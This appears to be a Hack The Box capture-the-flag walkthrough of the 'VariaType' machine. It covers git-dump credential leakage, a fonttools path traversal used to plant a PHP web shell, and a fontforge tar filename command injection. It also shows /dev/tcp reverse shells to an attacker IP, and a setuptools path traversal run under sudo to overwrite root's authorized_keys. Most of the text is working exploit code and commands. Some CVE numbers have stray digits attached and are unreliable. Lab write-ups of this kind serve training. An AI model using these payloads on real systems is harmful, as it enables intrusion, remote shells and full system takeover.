VariaType - HTB Seasonal Medium

Enumeration

NMAP Scan:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_  256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: VariaType Labs \xE2\x80\x94 Variable Font Generator
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

VHOSTS:

portal.variatype.htb Status: 200 [Size: 2494]

portal.variatype.htb is showing PHPSESSID in cookie, so we can assume, for now, that both apps are written in PHP:

~/htb/lab/variatype  ✓ $ curl -I http://portal.variatype.htb
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 15 Mar 2026 22:04:47 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: PHPSESSID=rrl86q95qc97bsks4kqccu1n5d; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Files and subdirs on portal.variatype.htb

$ gobuster dir -u http://portal.variatype.htb/ -w /opt/seclists/Discovery/Web-Content/raft-large-directories.txt -x php

download.php         (Status: 302) [Size: 0] [--> /]
files                (Status: 301) [Size: 169] [--> http://portal.variatype.htb/files/]
index.php            (Status: 200) [Size: 2494]
view.php             (Status: 302) [Size: 0] [--> /]
auth.php             (Status: 200) [Size: 0]
dashboard.php        (Status: 302) [Size: 0] [--> /]

$ gobuster dir -u http://portal.variatype.htb/ -w /opt/seclists/Discovery/Web-Content/raft-large-files.txt
index.php            (Status: 200) [Size: 2494]
download.php         (Status: 302) [Size: 0] [--> /]
auth.php             (Status: 200) [Size: 0]
view.php             (Status: 302) [Size: 0] [--> /]
.                    (Status: 200) [Size: 2494]
styles.css           (Status: 200) [Size: 8789]
dashboard.php        (Status: 302) [Size: 0] [--> /]
.git                 (Status: 301) [Size: 169] [--> http://portal.variatype.htb/.git/]

portal.variatype.htb git

Let's dump the git repo found on the portal VHOST using git-dumper:

~/htb/lab/variatype  ✓ $ git-dumper http://portal.variatype.htb/.git/ ./portal-source
[-] Testing http://portal.variatype.htb/.git/HEAD [200]
[-] Testing http://portal.variatype.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://portal.variatype.htb/.gitignore [404]
[-] http://portal.variatype.htb/.gitignore responded with status code 404
[-] Fetching http://portal.variatype.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://portal.variatype.htb/.git/hooks/applypatch-msg.sample [200]

Check commits and 'show' them:

commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <[email protected]>
Date:   Fri Dec 5 15:59:33 2025 -0500

    fix: add gitbot user for automated validation pipeline

diff --git a/auth.php b/auth.php
index 615e621..b328305 100644
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
 <?php
 session_start();
-$USERS = [];
+$USERS = [
+    'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];

Those are the credentials for the portal.variatype.htb dashboard:

'gitbot' => 'G1tB0t_Acc3ss_2025!'

http://variatype.htb web app

  • Port 80: Running a web app that lets you generate a variable font based on the uploaded .designspace and the master font files.

Looking around for the recent vulnerabilities in font processing libraries, there's CVE-2025-660341, which is arbitrary file vulnerability in Python library fonttools varLib, which allows for arbitrary file writes, and can lead to the RCE.

CVE-2025-66034

Vulnerability is in the following section

File: fontTools/varLib/__init__.py

filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write

Improper handling of the file name allows to pass all kinds of inputs, including ../../../. We can inject the PHP payload code into the labelname XML field.

<labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd']); ?>]]]]><![CDATA[>]]></labelname>

and then in variable-fonts > variable-font provide the filename parameter with the path where we want to save the shell file.

While you may bruteforce the correct path to the portal.variatype.htb webroot, looking around files and sources in the web app, there's an interesting comment in the style.css file:

/* /var/www/dev.variatype.htb/styles.css */
:root {
  /* ── Paleta corporativa refinada ─────────────────────── */
  --text: #1a1e29;
  --text-light: #4a5568;

Comment at the top points to, presumably, dev environment for portal, so we can just change dev -> portal and test it out. After couple of fails and retries, i found:

/var/www/portal.variatype.htb/public/files/shell.php

./files is the subdir gobuster found earlier. If we take a look at the portal app, it lists all of the uploaded files, we can see that our request uploaded file successfully and it's visible from the portal.

2026-03-16_01-47-54_screenshot.png

Shell at ./files/shell.php

2026-03-16_01-48-34_screenshot.png

There it is, shell successfully injected and executing, under www-data user.

Reverse Shell

Instead of sending whole connection string as a payload, we can simply make a small bash script which connects back to the netcat listener running on our machine. And then simply upload it and invoke it with shell.php.

Make the script, and serve it with python http server.

~/tools/shells/reverse_shell ( main) ✓ $ cat rev.sh
#!/usr/bin/env bash
bash -i >& /dev/tcp/10.10.14.42/4444 0>&1

~/tools/shells/reverse_shell ( main) ✓ $ python -m http.server
  Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Download the rev.sh script.

curl "http://portal.variatype.htb/files/shell.php?cmd=wget+http://10.10.14.42:8000/rev.sh"

Launch the bash script:

~/htb/lab/variatype  ✗23 $ curl "http://portal.variatype.htb/files/shell.php?cmd=bash+/var/www/portal.variatype.htb/public/files/rev.sh"

Check the netcat listener:

~/htb/lab/variatype  ✓ $ nc -lnvp 4444
Connection from 10.129.10.10:44870
bash: cannot set terminal process group (3449): Inappropriate ioctl for device
bash: no job control in this shell
www-data@variatype:~/portal.variatype.htb/public/files$

Pivot to user steve

Searching for the interesting files, we come across the /opt directory containing some bash scripts and various files. There's one owned by steve user:

www-data@variatype:/opt$ ls -las /opt
4 drwxr-xr-x  3 root      root      4096 Mar  9 08:29 font-tools
4 -rwxr-xr--  1 steve     steve     2018 Feb 26 07:50 process_client_submissions.bak
4 drwxr-xr-x  4 variatype variatype 4096 Mar  9 08:29 variatype
cat /opt/process_client_submissions.bak
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <[email protected]>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#

set -euo pipefail

UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"

mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"

log() {
    echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}

cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }

shopt -s nullglob

EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)

SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

found_any=0
for ext in "${EXTENSIONS[@]}"; do
    for file in $ext; do
        found_any=1
        [[ -f "$file" ]] || continue
        [[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }

        # Enforce strict naming policy
        if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
            log "QUARANTINE: Filename contains invalid characters: $file"
            mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
            continue
        fi

        log "Processing submission: $file"

        if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
    font = fontforge.open('$file')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
    sys.exit(1)
"; then
            log "SUCCESS: Validated $file"
        else
            log "WARNING: FontForge reported issues with $file"
        fi

        mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
    done
done

if [[ $found_any -eq 0 ]]; then
    log "No eligible submissions found."
fi

This script collects our uploaded fonts from within the directory where our shell.php got uploaded. Then tries to validate its filename, and if that passes, script processes uploaded file with fontforge.

Checking to find the fontforge library version:

www-data@variatype:/opt$ /usr/local/src/fontforge/build/bin/fontforge --version
Copyright (c) 2000-2025. See AUTHORS for Contributors.
 License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
 with many parts BSD <http://fontforge.org/license.html>. Please read LICENSE.
 Version: 20230101
 Based on sources from 2025-12-07 11:44 UTC-D.
 Based on source from git with hash: a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf
fontforge 20230101

Which seems to be vulnerable to the command injection via crafted archives or compressed files. CVE: 2CVE-2024-25082

Exploiting CVE-2024-25082

We need to make a tarball which contains our payload. and payload is simply filename followed by the ';' char, which will break fontforge .open() and execute the command which follows ;.

www-data@variatype:~/portal.variatype.htb/public/files$ echo 'bash -i >& /dev/tcp/10.10.14.42/1234 0>&1' > /tmp/rev.sh
<-i >& /dev/tcp/10.10.14.42/1234 0>&1' > /tmp/rev.sh
www-data@variatype:~/portal.variatype.htb/public/files$ chmod +x /tmp/rev.sh
import tarfile
payload = "evilfont.sfd;bash /tmp/rev.sh;"
with tarfile.open('exploit.tar', 'w') as tar:
    tarinfo = tarfile.TarInfo(name=payload)
    tarinfo.size = 1
    tar.addfile(tarinfo, open('/dev/zero', 'rb'))

Run that script and it will generate exploit.tar, next we serve it from our attack box, and wget it from the www-data shell we already have.

NOTE DO NOT forget to run netcat listener on 1234:

wget http://10.10.14.42:8080/exploit.tar
--2026-03-15 21:53:26--  http://10.10.14.42:8080/exploit.tar
Connecting to 10.10.14.42:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10240 (10K) [application/x-tar]
Saving to: 'exploit.tar'

     0K ..........                                            100% 43.3M=0s

2026-03-15 21:53:27 (43.3 MB/s) - 'exploit.tar' saved [10240/10240]

Wait until the timer kicks /opt/process_client_submissions.bak script

~/htb/lab/variatype  ✗1 $ nc -lnvp 1234
Connection from 10.129.10.10:40194

steve@variatype:/tmp/ffarchive-5887-1$ id
uid=1000(steve) gid=1000(steve) groups=1000(steve)

steve@variatype:/tmp/ffarchive-5887-1$ ls ~/
bin
logs
processed_fonts
quarantine
user.txt

steve@variatype:~$ cat user.txt
0c46125004bc4d....

2026-03-16_02-01-04_screenshot.png

Privilege Escalation

steve@variatype:/opt$ sudo -l
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

The install_validator.py script:

#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.

Example usage:
  sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""

import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex

# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"

# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    handlers=[
        logging.FileHandler(LOG_FILE),
        logging.StreamHandler(sys.stdout)
    ]
)

def is_valid_url(url):
    try:
        result = urlparse(url)
        return all([result.scheme in ('http', 'https'), result.netloc])
    except Exception:
        return False

def install_validator_plugin(plugin_url):
    if not os.path.exists(PLUGIN_DIR):
        os.makedirs(PLUGIN_DIR, mode=0o755)

    logging.info(f"Attempting to install plugin from: {plugin_url}")

    index = PackageIndex()
    try:
        downloaded_path = index.download(plugin_url, PLUGIN_DIR)
        logging.info(f"Plugin installed at: {downloaded_path}")
        print("[+] Plugin installed successfully.")
    except Exception as e:
        logging.error(f"Failed to install plugin: {e}")
        print(f"[-] Error: {e}")
        sys.exit(1)

def main():
    if len(sys.argv) != 2:
        print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
        print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
        sys.exit(1)

    plugin_url = sys.argv[1]

    if not is_valid_url(plugin_url):
        print("[-] Invalid URL. Must start with http:// or https://")
        sys.exit(1)

    if plugin_url.count('/') > 10:
        print("[-] Suspiciously long URL. Aborting.")
        sys.exit(1)

    install_validator_plugin(plugin_url)

if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[-] This script must be run as root (use sudo).")
        sys.exit(1)
    main()

Looking at the function processing the 'plugin' packages, PackageIndex.download() there's a vulnerability allowing path traversal in setuptools versions lower than the 78.1.1.

CVE-2025-472733

Checking up the setuptools version installed:

steve@variatype:/opt/font-tools$ python3 -c "import setuptools; print(setuptools.__version__)"
78.1.0

Vulnerable! Now we need to craft URL request containing path to root authorized_keys, and serve our public key instead, with the python http server.

Exploitation

Serving our pub key to be written to the root.ssh/authorized_keys

~/htb/lab/variatype  ✓ $ mkdir -p root/.ssh
~/htb/lab/variatype  ✓ $ cp ~/.ssh/id_rsa.pub root/.ssh/authorized_keys
~/htb/lab/variatype  ✓ $ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Downloading and writing key with directory traversal in URL:

steve@variatype:/opt/font-tools$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://10.10.14.42:8080/%2froot%2f.ssh%2fauthorized_keys#egg=evil-1.0"

2026-03-15 22:52:24,436 [INFO] Attempting to install plugin from: http://10.10.14.42:8080/%2froot%2f.ssh%2fauthorized_keys#egg=evil-1.0
2026-03-15 22:52:24,444 [INFO] Downloading http://10.10.14.42:8080/%2froot%2f.ssh%2fauthorized_keys#egg=evil-1.0
2026-03-15 22:52:24,511 [INFO] Plugin installed at: /root/.ssh/authorized_keys

Success! The last line tells us it's written in root.ssh, instead of opt/font-tools/validators.

~/htb/lab/variatype  ✗130 $ ssh [email protected]
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)
root@variatype:~# cat root.txt
8a354cba3c3606....